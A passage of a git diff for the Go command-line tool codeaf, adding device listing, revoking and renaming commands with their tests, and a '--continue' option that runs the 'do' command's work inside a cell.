cmp.Or(cmp.Compare(rank(a.Stopped), rank(b.Stopped)), -cmp.Compare(rank(a.This), rank(b.This)), cmp.Compare(a.Name, b.Name), cmp.Compare(a.id, b.id)) + }) + return rows, nil +} + +// rank is a bool as the number a sort can compare. +func rank(b bool) int { + if b { + return 1 + } + return 0 +} + +func (c chatsKind) table(time.Time) (string, error) { + rows, err := c.rows() + if err != nil { + if errors.Is(err, directory.ErrRevoked) { + return "", err + } + // The other kind is still worth showing when the relay is not answering. + fmt.Fprintln(os.Stderr, "your devices cannot be listed now:", err) + return "", nil + } + // A list of only this computer says nothing a person did not know. + if len(rows) == 0 || (len(rows) == 1 && rows[0].This) { + return "", nil + } + shown := make([]pair.ChatsDevice, len(rows)) + for i, row := range rows { + shown[i] = row.ChatsDevice + } + return pair.ChatsDevicesList(shown), nil +} + +func (c chatsKind) called(name string) ([]chatsRow, error) { + rows, err := c.rows() + return slices.DeleteFunc(rows, func(r chatsRow) bool { return !strings.EqualFold(r.Name, name) }), err +} + +func (c chatsKind) find(name string) (int, error) { + rows, err := c.called(name) + return len(rows), err +} + +func (c chatsKind) stop(name string) (string, error) { + rows, err := c.called(name) + switch { + case err != nil: + return "", err + case len(rows) > 1: + return "", fmt.Errorf("more than one of your devices is called %q, so the name cannot pick one — `codeaf devices` lists them", name) + case len(rows) == 0: + return "", unknownDevice(name) + case rows[0].Stopped: + return rows[0].Name + " is already removed.", nil + } + return c.revoke(rows[0]) +} + +func (c chatsKind) revoke(row chatsRow) (string, error) { + if row.This { + return "", errors.New("that is this device — remove it from another of your devices instead") + } + ctx, cancel := context.WithTimeout(context.Background(), listRequestWithin) + defer cancel() + if err := c.dir.Revoke(ctx, row.id); err != nil { + return "", c.explain(err) + } + return pair.ChatsRevokedLine(row.Name), nil +} + +// explain turns the directory's errors into the sentence a person reads. +func (c chatsKind) explain(err error) error { + switch { + case errors.Is(err, directory.ErrRevoked): + return toldLine{line: "this device was removed by another of your devices, so it can no longer reach your chats — run `codeaf pair` to bring it back", err: err} + case errors.Is(err, wireauth.ErrSkew): + return errors.New(chatlist.ClockOff) + case errors.Is(err, directory.ErrUnreachable): + return fmt.Errorf("the sync service at %s cannot be reached from here — check this computer's network", c.relay) + case errors.Is(err, directory.ErrNotFound): + return errors.New("that device is not in your list any more — `codeaf devices` shows the ones there are") + } + return err +} diff --git a/cmd/codeaf/devices_revoked_test.go b/cmd/codeaf/devices_revoked_test.go new file mode 100644 index 0000000000..1c110531ba --- /dev/null +++ b/cmd/codeaf/devices_revoked_test.go @@ -0,0 +1,50 @@ +package main + +import ( + "context" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// A device stopped from another computer is a "revoked" row in the device list the next time it is +// read, on every computer, with no way to take it for an ordinary one. +func TestRevokedDeviceReadsAsRevokedOnEveryComputer(t *testing.T) { + m := directory.NewMemory(time.Now) + ctx := context.Background() + key := []byte("0123456789abcdef0123456789abcdef") + for _, id := range []string{"dev_a", "dev_b", "dev_c"} { + sealed, _ := directory.SealName(directory.MetadataKey(key), id) + if err := m.For(id).PutDevice(ctx, id, directory.Device{V: 1, Name: sealed, Platform: "darwin"}); err != nil { + t.Fatal(err) + } + } + if err := m.For("dev_a").Revoke(ctx, "dev_b"); err != nil { + t.Fatal(err) + } + for _, viewer := range []string{"dev_a", "dev_c"} { + l, err := m.For(viewer).List(ctx) + if err != nil { + t.Fatal(err) + } + for _, row := range rowsOf(l, directory.MetadataKey(key), viewer) { + if want := row.ID == "dev_b"; row.Revoked != want { + t.Errorf("seen from %s, %s Revoked = %v", viewer, row.ID, row.Revoked) + } + } + } +} + +// A name sealed by a build from before devices were named carries the macOS ".local"; the device +// list reads it like every other label does. +func TestOpenNameDropsTheLocalSuffixLikeEveryOtherLabel(t *testing.T) { + key := []byte("0123456789abcdef0123456789abcdef") + sealed, err := directory.SealName(directory.MetadataKey(key), "studio.local") + if err != nil { + t.Fatal(err) + } + if got := openName(directory.MetadataKey(key), sealed); got != "studio" { + t.Fatalf("openName = %q", got) + } +} diff --git a/cmd/codeaf/devices_test.go b/cmd/codeaf/devices_test.go new file mode 100644 index 0000000000..ded1f0f2e3 --- /dev/null +++ b/cmd/codeaf/devices_test.go @@ -0,0 +1,192 @@ +package main + +import ( + "bytes" + "context" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/pair" +) + +const ( + thisComputer = "dev_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + otherComputer = "dev_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" +) + +var devicesCtx = context.Background() + +// chatsWith is a directory holding this computer and one other, both named the +// way a real device names itself: sealed under the metadata key. +func chatsWith(t *testing.T, other string) (chatsKind, directory.Client) { + t.Helper() + cellKey := bytes.Repeat([]byte{7}, 32) + dir := directory.NewMemory(time.Now) + for id, name := range map[string]string{thisComputer: "desk", otherComputer: other} { + sealed, err := directory.SealName(directory.MetadataKey(cellKey), name) + if err != nil { + t.Fatal(err) + } + if err := dir.For(id).PutDevice(devicesCtx, id, directory.Device{V: 1, Name: sealed}); err != nil { + t.Fatal(err) + } + } + return chatsKindOf(dir.For(thisComputer), cellKey, thisComputer, "https://relay.example"), dir.For(thisComputer) +} + +// bookWith is a book of remote devices let in, and a fresh home to keep this +// machine's own key in. +func bookWith(t *testing.T, labels ...string) *pair.Book { + t.Helper() + t.Setenv("CODEAF_HOME", t.TempDir()) + book := pair.BookAt(filepath.Join(t.TempDir(), "devices.json")) + for i, label := range labels { + if err := book.Admit(pair.Paired{Label: label, Key: strings.Repeat("k", i+1), Since: time.Now()}); err != nil { + t.Fatal(err) + } + } + return book +} + +func listed(t *testing.T, kinds ...deviceKind) string { + t.Helper() + printed, err := captureStdout(t, func() error { return listDevices(kinds, time.Now()) }) + if err != nil { + t.Fatal(err) + } + return printed +} + +// `codeaf devices` lists both kinds under their two headings, in that order, +// and one `revoke ` stops either. +func TestDevicesBothKinds(t *testing.T) { + chats, dir := chatsWith(t, "laptop") + kinds := []deviceKind{chats, bookKind{bookWith(t, "phone")}} + + printed := listed(t, kinds...) + first, second := strings.Index(printed, "your devices"), strings.Index(printed, "devices that can use this machine") + if first < 0 || second < first { + t.Fatalf("the two headings are missing or out of order:\n%s", printed) + } + for _, want := range []string{"laptop", "this device", "phone"} { + if !strings.Contains(printed, want) { + t.Errorf("the list lacks %q:\n%s", want, printed) + } + } + + if _, err := captureStdout(t, func() error { return stopDevice(kinds, []string{"laptop"}) }); err != nil { + t.Fatalf("stopping a computer that holds the chats: %v", err) + } + l, err := dir.List(devicesCtx) + if err != nil || !l.Devices[otherComputer].Revoked || l.Devices[thisComputer].Revoked { + t.Fatalf("directory after the stop: %+v, %v", l.Devices, err) + } + if after := listed(t, kinds...); !strings.Contains(after, "removed") { + t.Fatalf("a stopped computer is not marked:\n%s", after) + } + + if _, err := captureStdout(t, func() error { return stopDevice(kinds, []string{"phone"}) }); err != nil { + t.Fatalf("stopping a device that can use this machine: %v", err) + } + if left, _ := kinds[1].(bookKind).book.Devices(); len(left) != 0 { + t.Fatalf("the remote device is still let in: %v", left) + } +} + +// A kind with nothing in it has no heading, and a machine with nothing of +// either kind says one sentence. +func TestDevicesEmptinessLaw(t *testing.T) { + chats, _ := chatsWith(t, "laptop") + only := listed(t, chats, bookKind{bookWith(t)}) + if strings.Contains(only, "devices that can use this machine") { + t.Fatalf("an empty kind still has its heading:\n%s", only) + } + if none := listed(t, bookKind{bookWith(t)}); strings.TrimSpace(none) != pair.NoDevices { + t.Fatalf("nothing paired said %q, want the one sentence", none) + } +} + +// A name that two devices answer to, or nobody does, or that is this computer, +// is one sentence that points at the list. +func TestDevicesRevokeNamesThatCannotPickOne(t *testing.T) { + chats, dir := chatsWith(t, "phone") + kinds := []deviceKind{chats, bookKind{bookWith(t, "phone")}} + for name, want := range map[string]string{"phone": "more than one", "ghost": "no device is called", "desk": "this device"} { + _, err := captureStdout(t, func() error { return stopDevice(kinds, []string{name}) }) + if err == nil || !strings.Contains(err.Error(), want) { + t.Errorf("revoke %s: %v, want a sentence with %q", name, err, want) + } + } + if l, _ := dir.List(devicesCtx); l.Devices[otherComputer].Revoked || l.Devices[thisComputer].Revoked { + t.Fatalf("a refused name still stopped a computer: %+v", l.Devices) + } + // --all is the remote-access kind's word, so the name means that kind. + if _, err := captureStdout(t, func() error { return stopDevice(kinds, []string{"phone", "--all"}) }); err != nil { + t.Fatal(err) + } + if l, _ := dir.List(devicesCtx); l.Devices[otherComputer].Revoked { + t.Fatal("--all stopped a computer that holds the chats") + } +} + +// What stopping cannot do is said where a person looks for it: in the sentence +// after the stop and in the help. Neither names a command that does not exist. +func TestDevicesRevokeText(t *testing.T) { + chats, _ := chatsWith(t, "laptop") + said, err := captureStdout(t, func() error { return stopDevice([]deviceKind{chats}, []string{"laptop"}) }) + if err != nil { + t.Fatal(err) + } + // The front page has no room for the whole warning, so its line says that + // stopping cannot undo what the computer holds, and the sentence after a + // stop says what that means for a stolen one. + says := map[string][]string{ + usageForCommand("devices revoke"): {"cannot undo"}, + said: {"cannot undo", "treat your chats as exposed", "codeaf identity rotate"}, + } + for text, wants := range says { + for _, want := range wants { + if !strings.Contains(text, want) { + t.Errorf("%q does not say %q", text, want) + } + } + } +} + +// This computer is listed first and a removed one last, whatever the names sort +// to, so the row a person is typing on is always where the eye starts. +func TestChatsTableListsThisComputerFirst(t *testing.T) { + kind, dir := chatsWith(t, "atlas") + rows, err := kind.rows() + if err != nil || len(rows) != 2 || !rows[0].This || rows[1].Name != "atlas" { + t.Fatalf("rows were %+v (%v), want this computer ahead of atlas", rows, err) + } + if err := dir.Revoke(devicesCtx, otherComputer); err != nil { + t.Fatal(err) + } + table, _ := kind.table(time.Now()) + if strings.Index(table, "desk") > strings.Index(table, "atlas") || !strings.Contains(table, "removed") { + t.Fatalf("the table was:\n%s\nwant desk first and atlas marked removed", table) + } +} + +// A list holding only this computer says nothing a person did not know, so it +// is not drawn and the one sentence takes its place. +func TestChatsTableOfOnlyThisComputerIsAbsent(t *testing.T) { + cellKey := bytes.Repeat([]byte{7}, 32) + dir := directory.NewMemory(time.Now) + sealed, err := directory.SealName(directory.MetadataKey(cellKey), "desk") + if err != nil { + t.Fatal(err) + } + if err := dir.For(thisComputer).PutDevice(devicesCtx, thisComputer, directory.Device{V: 1, Name: sealed}); err != nil { + t.Fatal(err) + } + kind := chatsKindOf(dir.For(thisComputer), cellKey, thisComputer, "https://relay.example") + if table, err := kind.table(time.Now()); table != "" || err != nil { + t.Fatalf("a lone computer drew %q (%v), want nothing", table, err) + } +} diff --git a/cmd/codeaf/devices_unavailable_test.go b/cmd/codeaf/devices_unavailable_test.go new file mode 100644 index 0000000000..0b59f9206d --- /dev/null +++ b/cmd/codeaf/devices_unavailable_test.go @@ -0,0 +1,38 @@ +package main + +import ( + "io" + "os" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// C27.3 keeps the reachable-machine door when no engine can move chats. +func TestDevicesWithoutMovingChatsKeepsTheRemoteAccessRoute(t *testing.T) { + t.Setenv("CODEAF_HOME", t.TempDir()) + t.Cleanup(cell.UseAvailabilityInTests(false)) + saved := os.Stdout + r, w, err := os.Pipe() + if err != nil { + t.Fatal(err) + } + os.Stdout = w + defer func() { os.Stdout = saved }() + err = runDevices(nil) + w.Close() + output, readErr := io.ReadAll(r) + r.Close() + if err != nil || readErr != nil { + t.Fatalf("devices: %v %v", err, readErr) + } + for _, want := range []string{"this machine is reachable as ", "no devices are paired with this machine.", "run `codeaf serve` here and `codeaf chat --at "} { + if !strings.Contains(string(output), want) { + t.Fatalf("missing %q: %s", want, output) + } + } + if strings.Contains(string(output), "codeaf pair") { + t.Fatalf("suggested unavailable pairing: %s", output) + } +} diff --git a/cmd/codeaf/devrename.go b/cmd/codeaf/devrename.go new file mode 100644 index 0000000000..a85582aa91 --- /dev/null +++ b/cmd/codeaf/devrename.go @@ -0,0 +1,81 @@ +package main + +// ── naming this computer: `codeaf devices rename ` ──────────────────── +// +// THE NAME IS KEPT HERE FIRST AND TOLD TO THE FLEET SECOND. A rename that +// needed the network would fail on a plane, and a name that was typed and then +// lost would be a person typing it twice; so the name is written to this +// computer's home, and the same upsert every chat start makes ([syncsetup.Sync.Rename]) +// carries it to the other devices when it can. If it cannot, the next chat +// start does, and the sentence says so. +// +// A device only ever writes its own record, so this verb names the computer it +// is typed on and no other. + +import ( + "context" + "errors" + "fmt" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/syncsetup" +) + +// renameWithin bounds the one request a rename makes, so a silent relay cannot +// hang the command. +const renameWithin = 20 * time.Second + +// renameThisDevice keeps typed as the name of the computer whose home is dir, +// tells the fleet when it may, and returns the sentence a person reads. +func renameThisDevice(ctx context.Context, dir, typed string) (string, error) { + name, err := devname.Set(dir, typed) + if err != nil { + return "", err + } + if !syncsetup.MayTalk(dir) { + return pair.RenamedAloneLine(name), nil + } + if tellFleet(ctx, dir, name) != nil { + return pair.RenamedHereLine(name), nil + } + return pair.RenamedLine(name), nil +} + +// tellFleet puts the new name in the directory, and says why not when it cannot. +func tellFleet(ctx context.Context, dir, name string) error { + s, ok, err := syncsetup.Open(dir) + if err != nil || !ok { + return errors.Join(err, errors.New("sync is off")) + } + ctx, cancel := context.WithTimeout(ctx, renameWithin) + defer cancel() + return s.Rename(ctx, name) +} + +// runDevicesRename is `codeaf devices rename `. The name may be several +// words, typed with or without quotes. +func runDevicesRename(args []string) error { + if reason := cell.UnavailableReason(); reason != "" { + return errors.New(reason) + } + // Its own usage entry names the command; it takes no flags of its own. + flags := commandFlags("devices rename") + if err := parseCommandFlags(flags, reorder(flags, args)); err != nil { + return err + } + typed := strings.Join(flags.Args(), " ") + if strings.TrimSpace(typed) == "" { + return errors.New("usage: codeaf devices rename \u2014 " + devname.ErrEmpty.Error()) + } + said, err := renameThisDevice(context.Background(), home.Dir(), typed) + if err != nil { + return err + } + fmt.Println(said) + return nil +} diff --git a/cmd/codeaf/devrename_test.go b/cmd/codeaf/devrename_test.go new file mode 100644 index 0000000000..a60b084baa --- /dev/null +++ b/cmd/codeaf/devrename_test.go @@ -0,0 +1,149 @@ +package main + +import ( + "context" + "errors" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell/celltest" + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/pair" +) + +// A computer that is not paired with anything keeps the name and says nobody +// needs telling yet; it never reaches for the sync service. +func TestRenameOnAComputerWithNoFleetKeepsTheNameHere(t *testing.T) { + dir := t.TempDir() + t.Setenv("CODEAF_HOME", dir) + t.Setenv("CODEAF_SYNC_URL", "off") + + said, err := renameThisDevice(context.Background(), dir, " atlas ") + if err != nil { + t.Fatal(err) + } + if said != pair.RenamedAloneLine("atlas") || devname.Name(dir) != "atlas" || deviceName() != "atlas" { + t.Fatalf("said %q, name %q, deviceName %q", said, devname.Name(dir), deviceName()) + } +} + +func TestARefusedRenameKeepsTheOldNameAndSaysWhy(t *testing.T) { + dir := t.TempDir() + t.Setenv("CODEAF_HOME", dir) + if _, err := devname.Set(dir, "atlas"); err != nil { + t.Fatal(err) + } + for typed, want := range map[string]error{"": devname.ErrEmpty, strings.Repeat("x", 33): devname.ErrTooLong, "a\nb": devname.ErrControl} { + if _, err := renameThisDevice(context.Background(), dir, typed); !errors.Is(err, want) { + t.Errorf("rename to %q: %v, want %v", typed, err, want) + } + } + if devname.Name(dir) != "atlas" { + t.Fatalf("a refused rename changed the name to %q", devname.Name(dir)) + } +} + +func TestDevicesRenameTakesSeveralWordsAndAnEmptyNameIsUsage(t *testing.T) { + celltest.Available(t) + dir := t.TempDir() + t.Setenv("CODEAF_HOME", dir) + t.Setenv("CODEAF_SYNC_URL", "off") + if _, err := captureStdout(t, func() error { return runDevices([]string{"rename", "kitchen", "laptop"}) }); err != nil { + t.Fatal(err) + } + if devname.Name(dir) != "kitchen laptop" { + t.Fatalf("name = %q", devname.Name(dir)) + } + if err := runDevices([]string{"rename"}); err == nil || !strings.Contains(err.Error(), "usage: codeaf devices rename") { + t.Fatalf("an empty rename ended with %v", err) + } +} + +// `codeaf pair --name` keeps the name before any relay is looked up, so a bad +// name stops the pairing with its reason and nothing is sent. +func TestPairNameFlagIsKeptAndSentAsTheJoiningLabel(t *testing.T) { + celltest.Available(t) + dir := t.TempDir() + t.Setenv("CODEAF_HOME", dir) + t.Setenv("CODEAF_SYNC_URL", "off") + + err := newPairDoor(strings.NewReader(""), &pairScreenText{}).run(context.Background(), []string{"--name", "atlas", "42-715-302"}) + if !errors.Is(err, pair.ErrSyncOff) { + t.Fatalf("the pairing ended with %v, want it to reach the relay check", err) + } + if got := pairJoiningAt(dir)(false).Label; got != "atlas" { + t.Fatalf("the joining label is %q, want the typed name", got) + } + + err = newPairDoor(strings.NewReader(""), &pairScreenText{}).run(context.Background(), []string{"--name", "bad\x00name", "42-715-302"}) + if !errors.Is(err, devname.ErrControl) { + t.Fatalf("a bad name ended with %v", err) + } + if devname.Name(dir) != "atlas" { + t.Fatalf("a refused --name changed the name to %q", devname.Name(dir)) + } +} + +// A person at a terminal who has never named this computer is asked once, with +// the host name filled in; Enter keeps it and writes nothing, a name is kept, and +// a bad one is refused and asked again. +func TestAJoinAsksForANameAndEnterKeepsTheHostName(t *testing.T) { + cases := []struct { + typed, want string + chosen bool + }{ + {"\n", devname.Default(), false}, + {"studio\n", "studio", true}, + {"bad\x00\ngood name\n", "good name", true}, + } + for _, c := range cases { + dir := t.TempDir() + t.Setenv("CODEAF_HOME", dir) + out := &pairScreenText{} + d := pairDoor{term: newTerminal(strings.NewReader(c.typed), out), asksName: true} + if err := d.naming(context.Background(), "", nil, false); err != nil { + t.Fatal(err) + } + if _, chosen := devname.Chosen(dir); chosen != c.chosen || devname.Name(dir) != c.want { + t.Errorf("typed %q: name %q chosen %t, want %q %t", c.typed, devname.Name(dir), chosen, c.want, c.chosen) + } + if !strings.Contains(out.String(), pair.NamePrompt(devname.Default())) { + t.Errorf("typed %q: the question was not asked:\n%s", c.typed, out.String()) + } + } +} + +// The question is for a join that has no name yet: not for the device that shows +// a code or approves, not when the computer already has a name, and not when +// nobody is at a terminal. +func TestTheNameQuestionIsAskedOnlyWhereItMeansSomething(t *testing.T) { + asked := func(door pairDoor, args []string, showing bool) bool { + out := &pairScreenText{} + door.term = newTerminal(strings.NewReader("\n"), out) + _ = door.naming(context.Background(), "", args, showing) + return strings.Contains(out.String(), "Press Enter to keep that") + } + t.Setenv("CODEAF_HOME", t.TempDir()) + key, err := pair.NewLinkKey() + if err != nil { + t.Fatal(err) + } + token := pair.LinkRef{Code: "k7m2q9xd", Key: key}.Token() + person := pairDoor{asksName: true} + if !asked(person, nil, false) || !asked(person, []string{"42-715-302"}, false) { + t.Fatal("a join with no name was not asked") + } + if asked(person, nil, true) || asked(person, []string{"approve", token}, false) || asked(person, []string{token}, false) { + t.Fatal("a door that shows a code or approves was asked for a name") + } + if asked(pairDoor{}, nil, false) { + t.Fatal("a run with nobody at a terminal was asked") + } + if _, err := devname.Set(home.Dir(), "atlas"); err != nil { + t.Fatal(err) + } + if asked(person, nil, false) { + t.Fatal("a computer that already has a name was asked again") + } +} diff --git a/cmd/codeaf/do.go b/cmd/codeaf/do.go index e63ca1a11a..fe493a8c49 100644 --- a/cmd/codeaf/do.go +++ b/cmd/codeaf/do.go @@ -1,14 +1,14 @@ package main import ( + "cmp" "context" "crypto/rand" "encoding/hex" "encoding/json" "errors" + "flag" "fmt" - "github.com/Agent-Field/codeaf/internal/crewroute" - "github.com/Agent-Field/codeaf/internal/router" "io" "log" "os" @@ -25,7 +25,9 @@ import ( "github.com/Agent-Field/agentfield/sdk/go/ai" "github.com/Agent-Field/codeaf/internal/calllog" "github.com/Agent-Field/codeaf/internal/config" + "github.com/Agent-Field/codeaf/internal/crewroute" "github.com/Agent-Field/codeaf/internal/ctxbudget" + "github.com/Agent-Field/codeaf/internal/devname" "github.com/Agent-Field/codeaf/internal/env" "github.com/Agent-Field/codeaf/internal/exec" "github.com/Agent-Field/codeaf/internal/head" @@ -33,6 +35,7 @@ import ( "github.com/Agent-Field/codeaf/internal/lease" "github.com/Agent-Field/codeaf/internal/resident" "github.com/Agent-Field/codeaf/internal/revision" + "github.com/Agent-Field/codeaf/internal/router" runengine "github.com/Agent-Field/codeaf/internal/run" "github.com/Agent-Field/codeaf/internal/session" "github.com/Agent-Field/codeaf/internal/store" @@ -355,6 +358,8 @@ func runDo(args []string) error { slotsRaw := flags.String("slots", "", "how many workers may run at once for this run; 0 is no limit "+ "(default: your task.parallel setting, which is no limit)") + continueID := flags.String("continue", "", "carry on a run that did not finish (or was kept with --keep): "+ + "its id is on the `record kept at` line; any words after it are this round's finding") debug := flags.Bool("debug", false, debugFlagHelp()) if err := parseCommandFlags(flags, reorder(flags, args)); err != nil { return err @@ -379,7 +384,7 @@ func runDo(args []string) error { // the model-call log carries, and a second reading could name a different // run in a process that had opened two. run := trace.RunFrom(ctx) - task, err := readText(flags.Name(), flags.Args()) + next, err := errandTask(flags, *continueID) if err != nil { return refuseDoBeforeRun(*asJSON, run, err) } @@ -395,7 +400,7 @@ func runDo(args []string) error { } return doErrand(doRequest{ effort: effort, pins: pins.pins, - task: task, run: run, database: *database, keep: *keep, workspace: *workspace, + task: next.brief, assignment: next.assignment, cellRoot: next.cellRoot, run: run, database: *database, keep: *keep, workspace: *workspace, timeout: wall.wall, asJSON: *asJSON, yesSpend: *yesSpend, model: *model, planModel: *planModel, checkModel: *checkModel, contextFill: *contextFill, completionReserve: *completionReserve, slots: slots, @@ -422,6 +427,12 @@ func refuseDoBeforeRun(asJSON bool, run string, err error) error { // whole command rather than a piece of it. type doRequest struct { task string + // assignment is what the person first asked for, when task is a + // continuation of it. It names the run; empty is a fresh run, named by task. + assignment string + // cellRoot is the cell a continuation goes on working in; empty mints one + // when a compatible engine is available, or runs on the host. + cellRoot string // run is the id this invocation minted at the door ([trace.Begin]). It goes // out on the `--json` envelope, where it is the join to the model-call log // and to the debug record's folder, both of which are named by it. @@ -476,6 +487,31 @@ type doRequest struct { newBeltCompleter func(model string) session.Completer } +// headline is what names this run: the assignment it carries on, or its task. +func (r doRequest) headline() string { + return cmp.Or(r.assignment, r.task) +} + +// errandTask is the task text of this invocation and, on a continuation, the +// assignment it carries on. The words after --continue are the finding. +func errandTask(flags *flag.FlagSet, continueID string) (continuation, error) { + if continueID == "" { + task, err := readText(flags.Name(), flags.Args()) + return continuation{brief: task}, err + } + if err := continuesOnRunRoad(); err != nil { + return continuation{}, err + } + return continuedBrief(continueID, strings.Join(flags.Args(), " ")) +} + +// sayRecordKept names a kept record on stderr, and how to carry it on. The +// path stays the last line, which is where callers read it. +func sayRecordKept(w io.Writer, folder string) { + fmt.Fprintln(w, continueHint(folder)) + fmt.Fprintf(w, "record kept at %s\n", folder) +} + func (r doRequest) residentWaitOrDefault() time.Duration { if r.residentWait > 0 { return r.residentWait @@ -597,16 +633,16 @@ func doErrand(request doRequest) error { fmt.Fprintln(request.stderr, seats.Report()) call := router.CrewCallID(request.run) if seats.Crew != nil { - config.LogCrewDecision(profileDir, call, *seats.Crew, repo, crewTitle(request.task)) + config.LogCrewDecision(profileDir, call, *seats.Crew, repo, crewTitle(request.headline())) } outcome, err := errandRun(request, seats, started) if err != nil { if !request.asJSON { if outcome.recordKept != "" { - fmt.Fprintf(request.stderr, "record kept at %s\n", outcome.recordKept) + sayRecordKept(request.stderr, outcome.recordKept) } if seats.Crew != nil { - config.LogCrewOutcome(profileDir, call, *seats.Crew, repo, crewTitle(request.task), router.CrewNotKept, 0) + config.LogCrewOutcome(profileDir, call, *seats.Crew, repo, crewTitle(request.headline()), router.CrewNotKept, 0) } return err } @@ -623,7 +659,7 @@ func doErrand(request doRequest) error { if outcome.resolvedStop() == stopDone { settled = router.CrewAccepted } - config.LogCrewOutcome(profileDir, call, *seats.Crew, repo, crewTitle(request.task), settled, outcome.Spend) + config.LogCrewOutcome(profileDir, call, *seats.Crew, repo, crewTitle(request.headline()), settled, outcome.Spend) fmt.Fprintln(request.stderr, "crew: "+seats.Crew.Line("", outcome.Spend)) } // THE RUN NAMES ITSELF ON EVERY PATH, including the one where nothing @@ -872,7 +908,7 @@ func errandRun(request doRequest, seats config.Seats, started time.Time) (outcom // during the unwind kills the process the way it always did. SIGKILL is // outside all of this and stays correct by accident: no defer runs, so // nothing deletes the store either. - signalled, stopSignals := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) + signalled, stopSignals := signal.NotifyContext(hostSeated(context.Background()), os.Interrupt, syscall.SIGTERM) defer stopSignals() // The person's own ending of the run is the one fact the usage counts // keep about how it ended: the interrupt word, not a failure word. @@ -1252,9 +1288,11 @@ func sameStore(left, right string) bool { return leftErr == nil && rightErr == nil && os.SameFile(leftInfo, rightInfo) } +// residentHost names the computer that holds the store, spelled as every other +// screen spells a computer ([devname.Shown]): the holder recorded its raw host name. func residentHost(holder *lease.Resident) string { if host := strings.TrimSpace(holder.Host); host != "" { - return host + return devname.Shown(host) } return "unknown host" } @@ -3423,7 +3461,7 @@ func reportErrand(request doRequest, outcome headlessOutcome) error { fmt.Fprintln(request.stderr, "error: "+outcome.Error) } if outcome.recordKept != "" && request.stderr != nil { - fmt.Fprintf(request.stderr, "record kept at %s\n", outcome.recordKept) + sayRecordKept(request.stderr, outcome.recordKept) } if request.asJSON { encoded, err := json.MarshalIndent(errandEnvelope(outcome), "", " ") @@ -3658,7 +3696,7 @@ func runErrand(request doRequest, seats config.Seats) (outcome headlessOutcome, // files were there first, still hold what they held, and are none of the // run's business ([session.RunTreeSnapshot]). before := session.SnapshotRunTree(workspace) - title := topicTitle(request.task) + title := topicTitle(request.headline()) _, recordDir, _, err := headlessStore("") if err != nil { return headlessOutcome{}, err @@ -3677,6 +3715,13 @@ func runErrand(request doRequest, seats config.Seats) (outcome headlessOutcome, } outcome.recordKept = recordDir }() + inCell, err := openErrandCell(workspace, request.cellRoot) + if err == nil { + err = inCell.pointFrom(recordDir) + } + if err != nil { + return headlessOutcome{}, err + } store, err := session.OpenRunPlanAt(filepath.Join(recordDir, "plandb.db"), title, request.task) if err != nil { return headlessOutcome{}, err @@ -3711,7 +3756,7 @@ func runErrand(request doRequest, seats config.Seats) (outcome headlessOutcome, // under a short --timeout the open alone could spend the whole deadline // before a single node had started. memorySection := doMemory(workspace) - signalled, stopSignals := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) + signalled, stopSignals := signal.NotifyContext(hostSeated(context.Background()), os.Interrupt, syscall.SIGTERM) defer stopSignals() ctx, cancel := context.WithTimeout(signalled, request.timeout) defer cancel() @@ -3732,11 +3777,11 @@ func runErrand(request doRequest, seats config.Seats) (outcome headlessOutcome, Slots: request.slotsFor(settings.ProfileDir), Limits: limits, Gate: hold.runGate(), - Factory: runengine.CrewFactory(store, workspace, settings.ProfileDir, runengine.Seats{ + Factory: runengine.CrewFactoryWithWorkers(store, workspace, settings.ProfileDir, runengine.Seats{ Work: seats.Work.Model, Plan: seats.Plan.Model, Check: seats.Check.Model, - }, memorySection, spendPreauthorized(request.yesSpend, env.Value), completerFor, settings.Sources), + }, memorySection, spendPreauthorized(request.yesSpend, env.Value), completerFor, inCell.workerOptions(), settings.Sources), }) errand := runErrandOutcome(summary, workspace, bound) // THE RUN'S OWN CLOCK, read off the context because the summary's word is diff --git a/cmd/codeaf/do_cell.go b/cmd/codeaf/do_cell.go new file mode 100644 index 0000000000..05251945c1 --- /dev/null +++ b/cmd/codeaf/do_cell.go @@ -0,0 +1,149 @@ +package main + +import ( + "fmt" + "os" + "path/filepath" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/executor" + runengine "github.com/Agent-Field/codeaf/internal/run" + "github.com/Agent-Field/codeaf/internal/session" +) + +// A RUN IN A CELL IS A CHAT'S SESSION WITHOUT THE CHAT. With a compatible engine +// the run's workers ride the seat a chat rides — minted and built by the same +// functions ([v3MintSession], [v3Seated]) — so every tool call seals and `codeaf +// cell log` shows the run's turns. The run's record folder points at the cell +// (cellPointer), and `do --continue` follows the pointer back to it. + +// cellPointer is the file in a record folder that names the cell the run worked +// in. A record without one is a pre-cell run and continues from the record alone. +const cellPointer = "cell" + +// runCellClass is the class a run's cell declares. A run's workers drive the +// run's own record (`plandb done`, the trajectory), which lives outside the +// directory they edit, so their calls cannot be confined to it: the cell is +// host-bound and every call it seals is external, never re-run after a crash. +const runCellClass = cell.HostBound + +// errandCell is the cell one run works in. The zero value is a run with no +// cell: no seat, no pointer, the host as ever. +type errandCell struct { + root string + seat executor.Seat +} + +// openErrandCell puts a run in a cell: the one named by resume when a +// continuation follows a record that has one, a new one otherwise. Flag off, it +// answers the zero value and touches nothing. +func openErrandCell(workspace, resume string) (errandCell, error) { + if !cell.Available() { + return errandCell{}, nil + } + place, err := errandPlace(workspace, resume) + if err != nil { + return errandCell{}, err + } + seat, _, _ := v3SeatOf(place, stderrSay) + return errandCell{root: place.Dir, seat: seat}, nil +} + +// errandPlace is the session place of the run's cell: the folder, with the +// directory the run edits as the tree its calls seal (a borrowed workspace). +func errandPlace(workspace, resume string) (session.Place, error) { + if resume != "" { + return v3PlaceFor(resume, workspace, false), nil + } + bucket, err := v3ProjectDir(workspace) + if err != nil { + return 